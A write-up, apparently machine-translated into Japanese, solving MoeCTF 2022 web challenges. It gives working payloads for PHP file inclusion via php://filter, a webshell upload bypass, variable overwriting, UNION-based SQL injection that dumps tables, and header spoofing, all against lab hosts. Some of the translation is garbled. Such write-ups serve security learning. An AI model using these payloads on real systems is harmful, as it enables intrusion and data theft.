[MoeCTF 2022]——Web方向 wp

[MoeCTF 2022]baby_file

「海は何百もの川を受け入れ、寛容は素晴らしい。何千フィートの壁の上に立つと、欲望がなくても強さを得ることができます。」 これは、人々が無数の川を受け入れることができる海のように広い心を持ち、他の人を扱うべきであることを意味します寛容性と統合性を備えています。(私たちクンクンはこんなに頑張ってきたのに、なぜまだクンクンを批判したいのですか!!?あなたたちは本当にバカです!!)

? ? ? 私の弟をハッキングしているんですよね?

環境を開いた後のソースコードは次のとおりです

<?php

if(isset($_GET['file'])){
    
    
    $file = $_GET['file'];
    include($file);
}else{
    
    
    highlight_file(__FILE__);
}
?>

include関数を見ると、それは次の内容を含むファイルであると考えることができます。

ただし、直接渡されるfile値はindex.phpまたはに等しいことはできないflag.phpため、次を使用する必要があります。php伪协议

index.phpコンテンツを読み取るためのペイロードを構築する

http://node3.anna.nssctf.cn:28899/?file=php://filter/read=convert.base64-encode/resource=index.php

アクセス後、base64でエンコードされたデータを取得しますindex.php

画像-20230809014234491

Base64デコードをデコードしてソースコードを取得します

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}
?>

隠された情報がないことが判明したため、それを読み取るためのペイロードを構築しました。flag.php

http://node3.anna.nssctf.cn:28899/?file=php://filter/read=convert.base64-encode/resource=flag.php

画像-20230809014528054

アクセス後はエンコードされたフラグを取得し、デコード後はフラグを取得します。

画像-20230809014539123

言葉が出ません、まだ私の弟を侮辱しているんですね?

[MoeCTF 2022]ezhtml

デバッガでソースコードを直接見ることでフラグを取得できます。

画像-20230809014702191

[MoeCTF 2022]何をアップロードしていますか?

马子は必要ですか?

CTF の出題者は常に爆発的なものを考え出します。

ファイルアップロードの概要

画像-20230809014806794

一文のトロイの木馬をアップロードするには、まず PHP ファイルをアップロードしてみてください。

画像-20230809014857881

フロントエンドがそれを傍受するので、すぐに写真をアップロードします。

burp でパケットをキャプチャした後、ファイルのサフィックスを変更することで php ファイルをアップロードできますが、ファイル パスがわからない場合は getshell を実行できません。

画像-20230809015145152

次に、彼のリクエストに応じてアップロードしますf1ag.php

アップロード後に絵馬の名前を直接変更してf1ag.php旗を取得します

画像-20230809015304204

[MoeCTF 2022]ezphp

ソースコード


highlight_file('source.txt');
echo "<br><br>";

$flag = 'xxxxxxxx';
$giveme = 'can can need flag!';
$getout = 'No! flag.Try again. Come on!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    
    
    exit($giveme);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
    
    
    exit($getout);
}

foreach ($_POST as $key => $value) {
    
    
    $$key = $value;
}

foreach ($_GET as $key => $value) {
    
    
    $$key = $$value;
}

echo 'the flag is : ' . $flag;

?>

変数カバレッジを調べる

ペイロードを構築して直接入力します

http://node2.anna.nssctf.cn:28665?cmd=flag&flag=cmd

フラグを取得

[MoeCTF 2022]Sqlmap_boy

F12 でヒントが表示されます

画像-20230809020810274

これがsqlクエリステートメントです

 $sql = 'select username,password from users where username="'.$username.'" && password="'.$password.'";'; 

そこでSQLインジェクションを実行します

インジェクション ステートメントを観察すると、終了メソッドが単一引用符と二重引用符であることがわかります'"。ユニバーサル パスワードを試してください。

username=admin'" or 1=1;#&password=1

画像-20230809021115997

ここのメッセージはUnicodeエンコードされていますので、デコードしてください

画像-20230809021212339

ログインに成功すると、リダイレクトされますsecret.php?id=1。 にアクセスしてください。

http://node2.anna.nssctf.cn:28527/secrets.php?id=1

画像-20230809021645891

ここがid=1注射ポイントだと思います。関節注射を試してみますが、うまくいきません

http://node2.anna.nssctf.cn:28527/secrets.php?id=-1' union select 1,2,3 --+

素晴らしい仕事です、何もフィルターされていません

画像-20230809022013219

データベースを直接爆発させるだけです。

http://node2.anna.nssctf.cn:28527/secrets.php?id=-1' union select 1,database(),3 --+

画像-20230809022126205

爆発物

http://node2.anna.nssctf.cn:28527/secrets.php?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='moectf' --+

画像-20230809022300059

爆発物フィールド

http://node2.anna.nssctf.cn:28527/secrets.php?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='flag' --+

画像-20230809022343488

データを取得する

http://node2.anna.nssctf.cn:28527/secrets.php?id=-1' union select 1,database(),group_concat(flAg) from flag 

画像-20230809022531753

フラグを取得

[MoeCTF 2022]クッキーヘッド

RT

? 分かりません

ローカルアクセスのみを教えてください

画像-20230809022754658

XFF偽造

ターゲットのドローンに問題があり、撮影できません。

通常は偽造されておりX-Forwarded-For、127.0.0.1です。

画像-20230809024602651

他のマスターのWPも拝見しましたが、とても基本的な内容でした。

XFF偽造が完了すると表示されます。

http://127.0.0.1/index.php の出身者ではありません。

そしてReferer鍛造する

// 添加 Referer 头
Referer http://127.0.0.1/index.php

偽造後のエコー

まずログインしてください

login=0に変更されますlogin=1

狙いの神

ゲームの質問、10 ポイントを完了すると、フラグの前半を取得できます

画像-20230809025322898

次に、HTML 内のプロンプトを確認します。

画像-20230809025626103

次に、ソース コードを確認してaimTrainer.js、フラグに関連するコードを見つけました。

checkflag1() {
    
    
    if (this[_0x78bd[4]] == this[_0x78bd[5]]) {
    
    
        this[_0x78bd[20]]();
        alert(_0x78bd[21]);
        alert(_0x78bd[22]);
        this[_0x78bd[23]]()
    }
}
checkflag2() {
    
    
    if (this[_0x78bd[4]] == this[_0x78bd[5]]) {
    
    
        this[_0x78bd[20]]();
        alert(_0x78bd[24])
    }
}

を参照してくださいalert。F12 はコンソールで実行されます。

alert(_0x78bd[24])

後半フラグを入手

画像-20230809025943670

試してみる

moectf{Oh_you_can_a1m_and_H4ck_Javascript}

追記

NSS ドローンに問題があるため、最後の 2 つのフラグの質問を送信できません。改善されたら再度送信します。

おすすめ

転載: blog.csdn.net/Leaf_initial/article/details/132186220